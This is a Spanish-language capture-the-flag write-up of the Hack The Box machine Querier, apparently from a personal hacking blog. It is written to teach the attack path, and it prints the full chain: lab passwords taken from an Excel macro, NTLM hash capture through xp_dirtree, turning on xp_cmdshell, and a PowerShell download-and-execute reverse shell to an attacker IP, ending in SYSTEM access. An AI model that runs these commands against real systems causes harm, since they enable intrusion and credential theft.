lund@home:~$

Autor: Lund K. S.

HTB_Querier HTB_Querier | Hacker-Blog

HTB_Querier

Querier {-}

Introduccion {-}

La maquina del dia 02/08/2021 se llama Querier .

El replay del live se puede ver aqui

S4vitaar Querier maquina

No olvideis dejar un like al video y un comentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.125

ttl: 127 -> maquina Windows. Recuerda que tratandose de ttl 64 = linux y 128 = windows. Pero como estamos en hackthebox hay un nodo intermediario que hace que el ttl disminuya una unidad

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.125 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 10.10.10.125 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
135 rpc    
139 netbios-ssn    
445 smb crackmapexec, smbclient, smbmap  
1433 mssql Intento de connexion con credenciales por defecto usuario y contraseña
5985 winrm connexion directa con evil-winrm usuario y contraseña
47001 windows puertos Puertos windows que no nos lleva a nada  
49664 windows puertos Puertos windows que no nos lleva a nada  
49665 windows puertos Puertos windows que no nos lleva a nada  
49666 windows puertos Puertos windows que no nos lleva a nada  
49667 windows puertos Puertos windows que no nos lleva a nada  
49668 windows puertos Puertos windows que no nos lleva a nada  
49669 windows puertos Puertos windows que no nos lleva a nada  
49670 windows puertos Puertos windows que no nos lleva a nada  
49671 windows puertos Puertos windows que no nos lleva a nada  

Analizando el smb 445 {-}

  1. Scannear el servicio smb

     crackmapexec smb 10.10.10.125
    
  2. Listar los recursos compartido a nivel de red usando un NULL session

     smbclient -L 10.10.10.125 -N
    
  3. Intentamos conectarnos al recurso Reports

     smbclient "//10.10.10.125/Reports" -N
     dir
     get "Currency Volume Report.xlsm"
    

Que vemos:

  • nombre : QUERIER
  • maquina : Windows 10 x64
  • domain : HTB.LOCAL
  • recurso compartido : Reports
  • archivo encontrado : Currency Volume Report.xlsm

Conexion por MSSQL credenciales por defecto {-}

Intentamos conectarnos al servicio MSQL con credenciales por defecto usando mssqlclient.py

locate mssqlclient.py
/usr/bin/mssqlclient.py WORKGROUP/sa:sa@10.10.10.125
/usr/bin/mssqlclient.py WORKGROUP/sa@10.10.10.125

El usuario por defecto sa no nos va con la contraseña sa y sin contraseña. Intentamos volverlo a intentar con el parametro -windows-auth

/usr/bin/mssqlclient.py WORKGROUP/sa:sa@10.10.10.125 -windows-auth
/usr/bin/mssqlclient.py WORKGROUP/sa@10.10.10.125 -windows-auth

Bueno aqui no esta functionado

Evaluacion de vulnerabilidades {-}

Analizamos el fichero xlsm {-}

type "Currency Volume Report.xlsm"
#Output
Microsoft Excel 2007+

strings Currency\ Volume\ Report.xlsm

Analisis de ficheros Microsoft office con olevba {-}

olevba es un script escrito en python que permite parsear OLE y OpenXML como documentos MS Office (word, excel, …) para extraer codig VBA Macros en texto claro, deobfuscate y analyzo de macros maliciosas

Instalacion

git clone https://github.com/decalage2/oletools
cd oletools
python3 setup.py install

Utilizacion

olevba Currency\ Volume\ Report.xlsm

Aqui olevba nos muestra una macro ThisWorkbook.cls y credenciales de base de datos en texto claro.

Antes de intentar conectarnos al servicio MSSQL, validamos las credenciales con crackmapexec.

Validacion de credenciales con CrackMapExec {-}

crackmapexec smb 10.10.10.125 -u 'reporting' -p 'PcwTW1HRwryjc$c6'
crackmapexec smb 10.10.10.125 -u 'reporting' -p 'PcwTW1HRwryjc$c6' -d WORKGROUP

CrackMapExec nos muestra un [-] que quiere decir que el usuario no es valido a nivel de dominio HTB.LOCAL. Pero nos muestra un [+] con el dominio WORKGROUP. Esto quiere decir quel usuario reporting existe a nivel local.

Aqui ya sabemos que la credencial es valida

Conexion con evil-winrm usuario reporting {-}

Como tenemos credenciales y que sabemos que son validas, intentamos conectarnos con Evil-WinRM.

evil-winrm -i 10.10.10.125 -u 'reporting' -p 'PcwTW1HRwryjc'

Aqui no funciona.

Conexion al servicio MSSQL usuario reporting {-}

/usr/local/bin/mssqlclient.py WORKGROUP/reporting@10.10.10.125 -windows-auth
password: PcwTW1HRwryjc$c6

SQL> 

Con MSSQL hay un comando que se llama xp_cmdshell que nos permite enviar comandos a nivel de sistema

xp_cmdshell "whoami"
#Output
[-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied

Aqui el truquillo seria de configurar la posibilidad al usuario de ejecutar comandos avanzados

sp_configure "show advanced", 1
#Output
[-] ERROR(QUERIER): Line 105: User does not have permission to perform this action

Como aqui vemos que el usuario reporting no tiene derechos de lanzar comandos o modificar las configuraciones, lo que vamos a intentar es entablar una conexion a nivel de red que el proprio usuario reporting no puede hacer porque es usuario local. Hay un comando de MSSQL llamado xp_dirtree que permite buscar ficheros en recursos compartidos

  1. En la maquina de atacante, creamos un recurso compartido con smb

     impacket-smbserver smbFolder $(pwd) --smb2support
    
  2. En el mssql lanzamos el comando

     xp_dirtree "\\10.10.14.8\smbFolder\test"
    

Ya podemos ver que la conexion a funcionado y que podemos ver un hash NTLMv2 del usuario mssql-svc. Aqui copiamos el hash en un fichero y lo crackeamos con John. A vezes el hash puede que no sea del todo correcto, y si es el caso, podemos intentar hacer la misma maniobra con la herramienta responder en vez de la impacket-smbserver

  1. En la maquina de atacante, creamos un recurso compartido con smb

     python3 /usr/share/responder/Responder.py -I tun0 -rdw
    
  2. En el mssql lanzamos el comando

     xp_dirtree "\\10.10.14.8\EEEE"
    

Aqui podemos ver que tambien se puede interceptar el hash NTLMv2.

Crackeo de hash NTLMv2 con John {-}

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Ya hemos podido crackear el hash NTLMv2 del usuario mssql-svc. Y como siempre cuando el servicio SMB esta abierto, nueva credencial obtenida, nueva credencial que validamos con CrackMapExec.

Validacion de las creds de mssql-svc {-}

crackmapexec smb 10.10.10.125 -u 'mssql-svc' -p 'corporate568' -d WORKGROUP

CrackMapExec nos reporta un [+] quiere decir que las credenciales son validas. Nuevamente intentamos conectarnos por WinRM

Conexion con evil-winrm usuario mssql-svc {-}

Como tenemos credenciales y que sabemos que son validas, intentamos conectarnos con Evil-WinRM.

evil-winrm -i 10.10.10.125 -u 'mssql-svc' -p 'corporate568'

Aqui tampoco nos funciona.

Conexion al servicio MSSQL usuario mssql-svc {-}

/usr/local/bin/mssqlclient.py WORKGROUP/mssql-svc:corporate568@10.10.10.125 -windows-auth

SQL> 

Intentamos el comando xp_cmdshell

xp_cmdshell "whoami"
#Output
[-] ERROR(QUERIER): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component
    'xp_cmdshell' because this component is turned off ...

Aqui el error es distincto al del otro usuario. Intentamos nuevamente modificar las configuraciones.

sp_configure "xp_cmdshell", 1
#Output
[-] ERROR(QUERIER): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.

El mensaje de error aqui es claro, y si es una option avanzada tenemos que modificar la config de esta option.

sp_configure "show advanced", 1
reconfigure
sp_configure "xp_cmdshell", 1
reconfigure
xp_cmdshell "whoami"
#Output

querier\mssql-svc

Ahora si. Ya podemos lanzar comandos a nivel de sistema. La idea ahora seria meternos en el sistema con una reverse shell.

Explotacion de vulnerabilidad & Ganando Acceso {-}

Entablar una reverse shell de typo Powershell {-}

Aqui vamos hacer uso de las powershells reversas de Nishang

git clone https://github.com/samratashok/nishang
cd nishang
cd Shells
cp Invoke-PowerShellTcp.ps1 /home/.../content/PS.ps1

En el fichero PS.ps1, añadimos el invoke del script al final del fichero

Invoke-PowershellTcp -Reverse -IPAddress 10.10.14.8 -Port 443

Esto nos permite lanzar el Script directamente despues de descargamiento del fichero en la maquina victima

Enviamos y ejecutamos la reverse shell {-}

  1. montamos un http server con python

     python3 -m http.server 80
    
  2. En la maquina de atacante en una nueva shell

     rlwrap nc -nlvp 443
    
  3. en la mssql shell

     xp_cmdshell "powershell IEX(New-Object Net.WebClient).downloadString(\"http://10.10.14.8/PS.ps1\")"
    

Ya estamos a dentro.

Analizamos el sistema {-}

whoami
ipconfig
[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess
whoami /priv

Escalada de Privilegios {-}

Rootear la maquina {-}

whoami /priv
#Output

SEImpersonatePrivilege

Aqui ya vemos que podemos escalar privilegios con JuicyPotatoe.exe o RotenPotatoe.exe pero S4vitar nos muestra aqui una via alternativa de escalar privilegios en esta maquina.

git clone https://github.com/PowerShellMafia/PowerSploit
cd PowerSploit
cd Privesc
vi PowerUp.ps1

Aqui vamos a hacer lo mismo que con el fichero PS.ps1. En vez de enviarlo y despues invocarlo, matamos dos pajaros de un tiro y añadimos el Invoke al final del fichero PowerUp.ps1

Invoke-AllChecks
  1. Creamos un servicio web con python

     python3 -m http.server 80
    
  2. En la maquina victima

     IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8/PowerUp.ps1')
    

Este script nos reporta un monton de cosas y aqui podemos ver

  • SEImpersonatePrivilege
  • Service UsoSvc
  • encotro la contraseña para el usuario Administrator en un fichero Groups.xml

Validamos las credenciales del usuario Administrator {-}

crackmapexec smb 10.10.10.125 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!' -d WORKGROUP

Ya vemos un [+] y un (Pwn3d). Quiere decir que podemos connectarnos al systema con psexec

Conexion con psexec.py {-}

psexec.py WORKGROUP/Administrator@10.10.10.125 cmd.exe

whoami
#Output
nt authority\system

Ya estamos como root y podemos ver la flag ;)

[!] NOTA: S4vitar nos enseña mas tecnicas para conectarnos en el video. Os invito a verlas a partir del minuto 1:24:20